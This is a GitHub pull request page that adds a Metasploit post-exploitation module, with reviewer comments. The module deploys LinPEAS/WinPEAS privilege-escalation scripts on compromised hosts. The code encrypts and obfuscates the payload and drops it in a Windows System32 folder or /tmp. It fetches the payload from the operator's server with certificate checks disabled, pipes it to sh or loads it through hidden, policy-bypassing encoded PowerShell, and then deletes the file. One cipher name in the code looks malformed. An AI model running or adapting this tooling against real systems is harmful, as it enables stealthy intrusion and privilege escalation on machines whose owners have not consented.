-
Notifications
You must be signed in to change notification settings - Fork 14.3k
Add post/multi/gather/peass #20208
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Add post/multi/gather/peass #20208
Changes from 2 commits
5ecaa8b
75bab62
107f4ea
fa11b97
8c5ffc5
e3a517b
574f65d
d268811
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,396 @@ | ||||||
# Copyright (c) 2025, PEASS-ng owners | ||||||
# All rights reserved. | ||||||
# | ||||||
# Redistribution and use in source and binary forms, with or without | ||||||
# modification, are permitted provided that the following conditions are met: | ||||||
# | ||||||
# 1. Redistributions of source code must retain the above copyright | ||||||
# notice, this list of conditions and the following disclaimer. | ||||||
# 2. Redistributions in binary form must reproduce the above copyright | ||||||
# notice, this list of conditions and the following disclaimer in the | ||||||
# documentation and/or other materials provided with the distribution. | ||||||
# 3. Neither the name of PEASS-ng owners nor the names of its | ||||||
# contributors may be used to endorse or promote products derived from | ||||||
# this software without specific prior written permission. | ||||||
# | ||||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" | ||||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE | ||||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE | ||||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE | ||||||
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR | ||||||
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF | ||||||
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS | ||||||
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN | ||||||
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) | ||||||
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE | ||||||
# POSSIBILITY OF SUCH DAMAGE. | ||||||
|
||||||
## | ||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||
## | ||||||
|
||||||
require 'uri' | ||||||
require 'net/http' | ||||||
require 'base64' | ||||||
require 'openssl' | ||||||
require 'tempfile' | ||||||
|
||||||
class MetasploitModule < Msf::Post | ||||||
include Msf::Post::File | ||||||
include Msf::Exploit::Remote::HttpServer | ||||||
|
||||||
def initialize(info = {}) | ||||||
super( | ||||||
update_info( | ||||||
info, | ||||||
'Name' => 'Multi PEASS launcher', | ||||||
'Description' => %q{ | ||||||
This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system. | ||||||
You need to indicate the URL or local path to LinPEAS if you are on any Unix-based system or to WinPEAS if you are on Windows. | ||||||
By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load, deobfuscate, and execute it. | ||||||
You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it. | ||||||
}, | ||||||
'License' => MSF_LICENSE, | ||||||
'Author' => [ | ||||||
'Carlos Polop <@hacktricks_live>' | ||||||
], | ||||||
'Platform' => %w[bsd linux osx unix win], | ||||||
'SessionTypes' => ['shell', 'meterpreter'], | ||||||
'References' => [ | ||||||
['URL', 'https://github.com/peass-ng/PEASS-ng'], | ||||||
['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'], | ||||||
], | ||||||
'Notes' => { | ||||||
'Stability' => [CRASH_SAFE], | ||||||
'Reliability' => [CRASH_SAFE], | ||||||
jeffmcjunkin marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
'SideEffects' => [] | ||||||
jeffmcjunkin marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
} | ||||||
) | ||||||
) | ||||||
register_options( | ||||||
[ | ||||||
OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]), | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This should be an enumeration rather than a boolean. |
||||||
OptString.new('CUSTOM_URL', [false, 'URL to download the PEASS script from (if not using the default one). Accepts http(s) or absolute path. Overrides the WINPEASS variable', '']), | ||||||
jeffmcjunkin marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]), | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Does this need to be configurable by the user in the first place? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm open to removing it, just wanted to get the conversation started with a Rubocop-passing variant of the original module. |
||||||
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']), | ||||||
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]), | ||||||
OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15 * 60]), | ||||||
OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']), | ||||||
OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]), | ||||||
OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]), | ||||||
OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', '/' + rand(36**4).to_s(36) + '.txt']) | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think™ that metasploit has some utilities/function to upload'n'execute scripts/binaries. Summoning @zeroSteiner ! There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. We do yes and that's probably how I'd write it, where the code is sent directly from Metasploit over the Meterpreter C&C channel rather than fetched out of band via HTTP. However, that'd realistically require us to have the binary within our source tree like we do SharpHound / Bloodhound. The catch there is the license changes would have to also be applied to that code as well for us to distribute. If we're not modifying the binary, I think we'll be compatible with additional licenses. That approach would have the downside of some one time license research but would likely be both easier for the operator since they'll have fewer options to tinker with and connections to debug and I'd argue more secure in the case of Meterpreter comms. |
||||||
] | ||||||
) | ||||||
|
||||||
@temp_file_path = '' | ||||||
end | ||||||
|
||||||
def run | ||||||
ps_var1 = rand(36**5).to_s(36) # Winpeas PS needed variable | ||||||
|
||||||
# Load PEASS script in memory | ||||||
peass_script = load_peass | ||||||
print_good('PEASS script successfully retrieved.') | ||||||
|
||||||
# Obfuscate loaded PEASS script | ||||||
if datastore['PASSWORD'].length > 1 | ||||||
# If no Windows, check if openssl exists | ||||||
if !session.platform.include?('win') | ||||||
openssl_path = cmd_exec('command -v openssl') | ||||||
raise 'openssl not found on victim, unset the password of the module!' unless openssl_path.include?('openssl') | ||||||
end | ||||||
|
||||||
# Get encrypted PEASS script in B64 | ||||||
print_status('Encrypting PEASS and encoding it in Base64...') | ||||||
|
||||||
# Needed code to decrypt from unix | ||||||
if !session.platform.include?('win') | ||||||
aes_enc_peass_ret = aes_enc_peass(peass_script) | ||||||
peass_script_64 = aes_enc_peass_ret['encrypted'] | ||||||
key_hex = aes_enc_peass_ret['key_hex'] | ||||||
iv_hex = aes_enc_peass_ret['iv_hex'] | ||||||
decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}" | ||||||
|
||||||
# Needed code to decrypt from Windows | ||||||
else | ||||||
# As the PS function is only capable of decrypting readable strings | ||||||
# in Windows we encrypt the B64 of the binary and then load it in memory | ||||||
# from the initial B64. Then: original -> B64 -> encrypt -> B64 | ||||||
aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) # Base64 before encrypting it | ||||||
peass_script_64 = aes_enc_peass_ret['encrypted'] | ||||||
key_b64 = aes_enc_peass_ret['key_b64'] | ||||||
iv_b64 = aes_enc_peass_ret['iv_b64'] | ||||||
load_winpeas = get_ps_aes_decr | ||||||
|
||||||
ps_var2 = rand(36**6).to_s(36) | ||||||
load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};" | ||||||
load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));" | ||||||
end | ||||||
|
||||||
else | ||||||
# If no Windows, check if base64 exists | ||||||
if !session.platform.include?('win') | ||||||
base64_path = cmd_exec('command -v base64') | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You can use There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is |
||||||
raise 'base64 not found on victim, set a 32B length password!' unless base64_path.include?('base64') | ||||||
end | ||||||
|
||||||
# Encode PEASS script | ||||||
print_status('Encoding PEASS in Base64...') | ||||||
peass_script_64 = Base64.encode64(peass_script) | ||||||
|
||||||
# Needed code to decode it in Unix and Windows | ||||||
decode_linpeass_cmd = 'base64 -d' | ||||||
load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));" | ||||||
|
||||||
end | ||||||
|
||||||
# Write obfuscated PEASS to a local file | ||||||
file = Tempfile.new('peass_metasploit') | ||||||
file.write(peass_script_64) | ||||||
file.rewind | ||||||
@temp_file_path = file.path | ||||||
|
||||||
if datastore['SRVHOST'] == '' | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is there a circumstance where uploading via https is preferrable to simply uploading through the session? |
||||||
# Upload file to victim | ||||||
temp_peass_name = rand(36**5).to_s(36) | ||||||
if datastore['TEMP_DIR'] != '' | ||||||
temp_path = datastore['TEMP_DIR'] | ||||||
if temp_path[0] == '/' | ||||||
temp_path += "/#{temp_peass_name}" | ||||||
else | ||||||
temp_path += "\\#{temp_peass_name}" | ||||||
end | ||||||
|
||||||
elsif session.platform.include?('win') | ||||||
temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}" | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Does this need to be system32? |
||||||
else | ||||||
temp_path = "/tmp/#{temp_peass_name}" | ||||||
end | ||||||
|
||||||
print_status("Uploading obfuscated peass to #{temp_path}...") | ||||||
upload_file(temp_path, file.path) | ||||||
print_good('Uploaded') | ||||||
|
||||||
# Start the cmd, prepare to read from the uploaded file | ||||||
if session.platform.include?('win') | ||||||
cmd = "$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Get-Content -Path #{temp_path};" | ||||||
last_cmd = "del #{temp_path};" | ||||||
else | ||||||
cmd = "cat #{temp_path}" | ||||||
last_cmd = " ; rm #{temp_path}" | ||||||
end | ||||||
|
||||||
# Instead of writing the file to disk, download it from HTTP | ||||||
else | ||||||
last_cmd = '' | ||||||
# Start HTTP server | ||||||
start_service | ||||||
|
||||||
http_protocol = datastore['SSL'] ? 'https://' : 'http://' | ||||||
http_ip = datastore['SRVHOST'] | ||||||
http_port = ":#{datastore['SRVPORT']}" | ||||||
http_path = datastore['URIPATH'] | ||||||
url_download_peass = http_protocol + http_ip + http_port + http_path | ||||||
print_good("Listening in #{url_download_peass}") | ||||||
|
||||||
# Configure the download of the script in Windows | ||||||
if session.platform.include?('win') | ||||||
cmd = "$ProgressPreference = 'SilentlyContinue';" | ||||||
cmd += get_bypass_tls_cert | ||||||
cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;" | ||||||
|
||||||
# Configure the download of the script in Unix | ||||||
else | ||||||
cmd = "curl -k -s \"#{url_download_peass}\"" | ||||||
curl_path = cmd_exec('command -v curl') | ||||||
if !curl_path.include?('curl') | ||||||
cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\"" | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would we be able to make this a datastore option where checking certificates is the default? Maybe a generic option that covers security checks for all methods of downloading. |
||||||
wget_path = cmd_exec('command -v wget') | ||||||
raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?('wget') | ||||||
end | ||||||
end | ||||||
end | ||||||
|
||||||
# Run PEASS script | ||||||
begin | ||||||
tmpout = "\n" | ||||||
print_status 'Running PEASS...' | ||||||
|
||||||
# If Windows, suppose Winpeas was loaded | ||||||
if session.platform.include?('win') | ||||||
cmd += load_winpeas | ||||||
cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");" | ||||||
cmd += last_cmd | ||||||
# Transform to Base64 in UTF-16LE format | ||||||
cmd_utf16le = cmd.encode('utf-16le') | ||||||
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, '') | ||||||
|
||||||
tmpout << cmd_exec('powershell.exe', "-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", datastore['TIMEOUT'].to_i) | ||||||
|
||||||
# If Unix, then, suppose linpeas was loaded | ||||||
else | ||||||
cmd += "| #{decode_linpeass_cmd}" | ||||||
cmd += "| sh -s -- #{datastore['PARAMETERS']}" | ||||||
cmd += last_cmd | ||||||
tmpout << cmd_exec(cmd, nil, datastore['TIMEOUT'].to_i) | ||||||
end | ||||||
|
||||||
print "\n#{tmpout}\n\n" | ||||||
command_log = store_loot('PEASS', 'text/plain', session, tmpout, 'peass.txt', 'PEASS script execution') | ||||||
print_good("PEASS output saved to: #{command_log}") | ||||||
rescue ::StandardError => e | ||||||
print_bad("Error Running PEASS: #{e.class} #{e}") | ||||||
end | ||||||
|
||||||
# Close and delete the temporary file | ||||||
file.close | ||||||
file.unlink | ||||||
end | ||||||
|
||||||
def on_request_uri(cli, _request) | ||||||
print_status('HTTP request received') | ||||||
send_response(cli, File.read(@temp_file_path), { 'Content-Type' => 'text/plain' }) | ||||||
print_good('PEASS script sent') | ||||||
end | ||||||
|
||||||
def fetch(uri_str, limit = 10) | ||||||
raise 'Invalid URL, too many HTTP redirects' if limit == 0 | ||||||
|
||||||
response = Net::HTTP.get_response(URI(uri_str)) | ||||||
case response | ||||||
when Net::HTTPSuccess | ||||||
response | ||||||
when Net::HTTPRedirection | ||||||
location = response['location'] | ||||||
fetch(location, limit - 1) | ||||||
else | ||||||
response.value | ||||||
end | ||||||
end | ||||||
|
||||||
def load_peass | ||||||
# Load the PEASS script from a local file or from Internet | ||||||
peass_script = '' | ||||||
url_peass = '' | ||||||
# If no URL is set, use the default one | ||||||
if datastore['CUSTOM_URL'] != '' | ||||||
url_peass = datastore['CUSTOM_URL'] | ||||||
else | ||||||
url_peass = datastore['WINPEASS'] ? 'https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe' : 'https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh' | ||||||
end | ||||||
# If URL is set, check if it is a valid URL or local file | ||||||
if url_peass.include?('http://') || url_peass.include?('https://') | ||||||
target = URI.parse url_peass | ||||||
raise 'Invalid URL' unless target.scheme =~ /https?/ | ||||||
raise 'Invalid URL' if target.host.to_s.eql? '' | ||||||
|
||||||
res = fetch(target) | ||||||
peass_script = res.body | ||||||
|
||||||
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500 | ||||||
|
||||||
else | ||||||
raise "PEASS local file (#{url_peass}) does not exist!" unless ::File.exist?(url_peass) | ||||||
|
||||||
peass_script = File.read(url_peass) | ||||||
raise "Something falied reading PEASS script from #{url_peass}" if peass_script.length < 500 | ||||||
end | ||||||
|
||||||
return peass_script | ||||||
end | ||||||
|
||||||
def aes_enc_peass(peass_script) | ||||||
# Encrypt the PEASS script with AES (CBC Mode) | ||||||
jeffmcjunkin marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
key = datastore['PASSWORD'] | ||||||
iv = OpenSSL::Cipher.new('cip-her-aes').random_iv | ||||||
|
||||||
c = OpenSSL::Cipher.new('aes-256-cbc').encrypt | ||||||
c.iv = iv | ||||||
c.key = key | ||||||
encrypted = c.update(peass_script) + c.final | ||||||
encrypted = [encrypted].pack('m') | ||||||
|
||||||
return { | ||||||
'encrypted' => encrypted, | ||||||
'key_hex' => key.unpack('H*').first, | ||||||
'key_b64' => Base64.encode64(key).strip, | ||||||
'iv_hex' => iv.unpack('H*').first, | ||||||
'iv_b64' => Base64.encode64(iv).strip | ||||||
} | ||||||
end | ||||||
|
||||||
def get_bypass_tls_cert | ||||||
return ' | ||||||
# Code to accept any certificate in the https connection from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error | ||||||
add-type @" | ||||||
using System.Net; | ||||||
using System.Security.Cryptography.X509Certificates; | ||||||
public class TrustAllCertsPolicy : ICertificatePolicy { | ||||||
public bool CheckValidationResult( | ||||||
ServicePoint srvPoint, X509Certificate certificate, | ||||||
WebRequest request, int certificateProblem) { | ||||||
return true; | ||||||
} | ||||||
} | ||||||
"@ | ||||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy; | ||||||
' | ||||||
end | ||||||
|
||||||
def get_ps_aes_decr | ||||||
# PS code to decrypt Winpeas | ||||||
return ' | ||||||
# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86 | ||||||
function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) { | ||||||
[byte[]] $encrypted = [Convert]::FromBase64String($encrypted); | ||||||
[byte[]] $key = [Convert]::FromBase64String($key) | ||||||
[byte[]] $iv = [Convert]::FromBase64String($iv) | ||||||
|
||||||
# Declare the stream used to encrypt to an in memory | ||||||
# array of bytes. | ||||||
[System.IO.MemoryStream] $msDecrypt | ||||||
|
||||||
# Declare the RijndaelManaged object | ||||||
# used to encrypt the data. | ||||||
[System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged | ||||||
|
||||||
[String] $plainText="" | ||||||
|
||||||
try { | ||||||
# Create a RijndaelManaged object | ||||||
# with the specified key and IV. | ||||||
$aesAlg = new-object System.Security.Cryptography.RijndaelManaged | ||||||
$aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC | ||||||
$aesAlg.KeySize = 256 | ||||||
$aesAlg.BlockSize = 128 | ||||||
$aesAlg.key = $key | ||||||
$aesAlg.IV = $iv | ||||||
|
||||||
# Create an encryptor to perform the stream transform. | ||||||
[System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV); | ||||||
|
||||||
# Create the streams used for encryption. | ||||||
$msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted) | ||||||
$csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read) | ||||||
$srDecrypt = new-object System.IO.StreamReader($csDecrypt) | ||||||
|
||||||
# Write all data to the stream. | ||||||
$plainText = $srDecrypt.ReadToEnd() | ||||||
$srDecrypt.Close() | ||||||
$csDecrypt.Close() | ||||||
$msDecrypt.Close() | ||||||
} | ||||||
finally { | ||||||
# Clear the RijndaelManaged object. | ||||||
if ($aesAlg -ne $null){ | ||||||
$aesAlg.Clear() | ||||||
} | ||||||
} | ||||||
|
||||||
# Return the Decrypted bytes from the memory stream. | ||||||
return $plainText | ||||||
} | ||||||
' | ||||||
end | ||||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could we add this license to the external license file please? @bwatters-r7